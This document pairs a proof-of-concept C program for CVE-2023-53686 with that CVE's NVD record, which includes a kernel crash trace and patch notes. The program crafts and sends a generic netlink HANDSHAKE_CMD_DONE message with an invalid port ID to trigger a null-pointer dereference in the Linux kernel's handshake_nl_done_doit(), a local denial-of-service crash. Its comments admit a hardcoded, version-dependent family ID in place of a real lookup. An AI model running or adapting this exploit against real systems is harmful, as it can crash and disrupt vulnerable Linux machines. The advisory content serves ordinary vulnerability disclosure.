CVE-2023-53686

/* CVE-2023-53686 PoC - Trigger null-ptr-deref in handshake_nl_done_doit() * Compile: gcc -o poc poc.c * Run: sudo ./poc * Note: Requires CAP_NET_ADMIN or access to netlink socket */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/genetlink.h> #define HANDSHAKE_FAMILY_NAME "handshake" // netlink attribute types for handshake enum handshake_attrs { HANDSHAKE_A_UNSPEC, HANDSHAKE_A_STATUS, HANDSHAKE_A_KEYRING, HANDSHAKE_A_KEY_SERIAL, HANDSHAKE_A_KEY_DESCRIPTION, HANDSHAKE_A_PEER_NAME, HANDSHAKE_A_PEER_PORT, HANDSHAKE_A_HOSTNAME, HANDSHAKE_A_SERVICE, HANDSHAKE_A_GROUPS, HANDSHAKE_A_CLOSED, __HANDSHAKE_A_MAX, }; // handshake commands enum handshake_commands { HANDSHAKE_CMD_UNSPEC, HANDSHAKE_CMD_ACCEPT, HANDSHAKE_CMD_DONE, // This triggers the vulnerability HANDSHAKE_CMD_DONE_ERR, __HANDSHAKE_CMD_MAX, }; struct nlmsghdr *make_nlmsg(int family_id, int cmd, int portid) { struct nlmsghdr *nlh; struct genlmsghdr *glh; int len = NLMSG_LENGTH(sizeof(*glh)); nlh = (struct nlmsghdr *)malloc(len); if (!nlh) return NULL; memset(nlh, 0, len); nlh->nlmsg_len = len; nlh->nlmsg_type = family_id; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = 1; nlh->nlmsg_pid = portid; glh = (struct genlmsghdr *)NLMSG_DATA(nlh); glh->cmd = cmd; glh->version = 1; return nlh; } int main(int argc, char *argv[]) { int nlfd; struct sockaddr_nl sa; struct nlmsghdr *nlh; int family_id = 0; char buf[4096]; // Create netlink socket nlfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (nlfd < 0) { perror("socket"); return 1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; if (bind(nlfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(nlfd); return 1; } // Resolve handshake family ID via ctrl command // (simplified - in real PoC, send CTRL_CMD_GETFAMILY request) // For demonstration, assume family_id is known family_id = 31; // This may vary by kernel version // Build HANDSHAKE_CMD_DONE message with invalid portid to trigger null-ptr-deref // Using portid 0 or an invalid one causes socket lookup to fail nlh = make_nlmsg(family_id, HANDSHAKE_CMD_DONE, 0); if (!nlh) { close(nlfd); return 1; } // Send the crafted netlink message if (send(nlfd, nlh, nlh->nlmsg_len, 0) < 0) { perror("send"); } free(nlh); close(nlfd); printf("PoC sent. Check kernel logs for null-ptr-deref.\n"); return 0; }

{"cve": {"id": "CVE-2023-53686", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:52.913", "lastModified": "2026-02-26T23:10:26.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/handshake: fix null-ptr-deref in handshake_nl_done_doit()\n\nWe should not call trace_handshake_cmd_done_err() if socket lookup has failed.\n\nAlso we should call trace_handshake_cmd_done_err() before releasing the file,\notherwise dereferencing sock->sk can return garbage.\n\nThis also reverts 7afc6d0a107f (\"net/handshake: Fix uninitialized local variable\")\n\nUnable to handle kernel paging request at virtual address dfff800000000003\nKASAN: null-ptr-deref in range [0x0000000000000018-0x000000000000001f]\nMem abort info:\nESR = 0x0000000096000005\nEC = 0x25: DABT (current EL), IL = 32 bits\nSET = 0, FnV = 0\nEA = 0, S1PTW = 0\nFSC = 0x05: level 1 translation fault\nData abort info:\nISV = 0, ISS = 0x00000005, ISS2 = 0x00000000\nCM = 0, WnR = 0, TnD = 0, TagAccess = 0\nGCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n[dfff800000000003] address between user and kernel address ranges\nInternal error: Oops: 0000000096000005 [#1] PREEMPT SMP\nModules linked in:\nCPU: 1 PID: 5986 Comm: syz-executor292 Not tainted 6.5.0-rc7-syzkaller-gfe4469582053 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/26/2023\npstate: 80400005 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : handshake_nl_done_doit+0x198/0x9c8 net/handshake/netlink.c:193\nlr : handshake_nl_done_doit+0x180/0x9c8\nsp : ffff800096e37180\nx29: ffff800096e37200 x28: 1ffff00012dc6e34 x27: dfff800000000000\nx26: ffff800096e373d0 x25: 0000000000000000 x24: 00000000ffffffa8\nx23: ffff800096e373f0 x22: 1ffff00012dc6e38 x21: 0000000000000000\nx20: ffff800096e371c0 x19: 0000000000000018 x18: 0000000000000000\nx17: 0000000000000000 x16: ffff800080516cc4 x15: 0000000000000001\nx14: 1fffe0001b14aa3b x13: 0000000000000000 x12: 0000000000000000\nx11: 0000000000000000 x10: 0000000000000000 x9 : 0000000000000003\nx8 : 0000000000000003 x7 : ffff800080afe47c x6 : 0000000000000000\nx5 : 0000000000000000 x4 : 0000000000000000 x3 : ffff800080a88078\nx2 : 0000000000000001 x1 : 00000000ffffffa8 x0 : 0000000000000000\nCall trace:\nhandshake_nl_done_doit+0x198/0x9c8 net/handshake/netlink.c:193\ngenl_family_rcv_msg_doit net/netlink/genetlink.c:970 [inline]\ngenl_family_rcv_msg net/netlink/genetlink.c:1050 [inline]\ngenl_rcv_msg+0x96c/0xc50 net/netlink/genetlink.c:1067\nnetlink_rcv_skb+0x214/0x3c4 net/netlink/af_netlink.c:2549\ngenl_rcv+0x38/0x50 net/netlink/genetlink.c:1078\nnetlink_unicast_kernel net/netlink/af_netlink.c:1339 [inline]\nnetlink_unicast+0x660/0x8d4 net/netlink/af_netlink.c:1365\nnetlink_sendmsg+0x834/0xb18 net/netlink/af_netlink.c:1914\nsock_sendmsg_nosec net/socket.c:725 [inline]\nsock_sendmsg net/socket.c:748 [inline]\n____sys_sendmsg+0x56c/0x840 net/socket.c:2494\n___sys_sendmsg net/socket.c:2548 [inline]\n__sys_sendmsg+0x26c/0x33c net/socket.c:2577\n__do_sys_sendmsg net/socket.c:2586 [inline]\n__se_sys_sendmsg net/socket.c:2584 [inline]\n__arm64_sys_sendmsg+0x80/0x94 net/socket.c:2584\n__invoke_syscall arch/arm64/kernel/syscall.c:37 [inline]\ninvoke_syscall+0x98/0x2b8 arch/arm64/kernel/syscall.c:51\nel0_svc_common+0x130/0x23c arch/arm64/kernel/syscall.c:136\ndo_el0_svc+0x48/0x58 arch/arm64/kernel/syscall.c:155\nel0_svc+0x58/0x16c arch/arm64/kernel/entry-common.c:678\nel0t_64_sync_handler+0x84/0xfc arch/arm64/kernel/entry-common.c:696\nel0t_64_sync+0x190/0x194 arch/arm64/kernel/entry.S:591\nCode: 12800108 b90043e8 910062b3 d343fe68 (387b6908)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4", "versionEndExcluding": "6.5.4", "matchCriteriaId": "3D85F92D-DEBB-4268-AC2E-6AC2A7CEEB3B"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/82ba0ff7bf0483d962e592017bef659ae022d754", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/93d69f18edcca282351394c5870bec24cc99d745", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}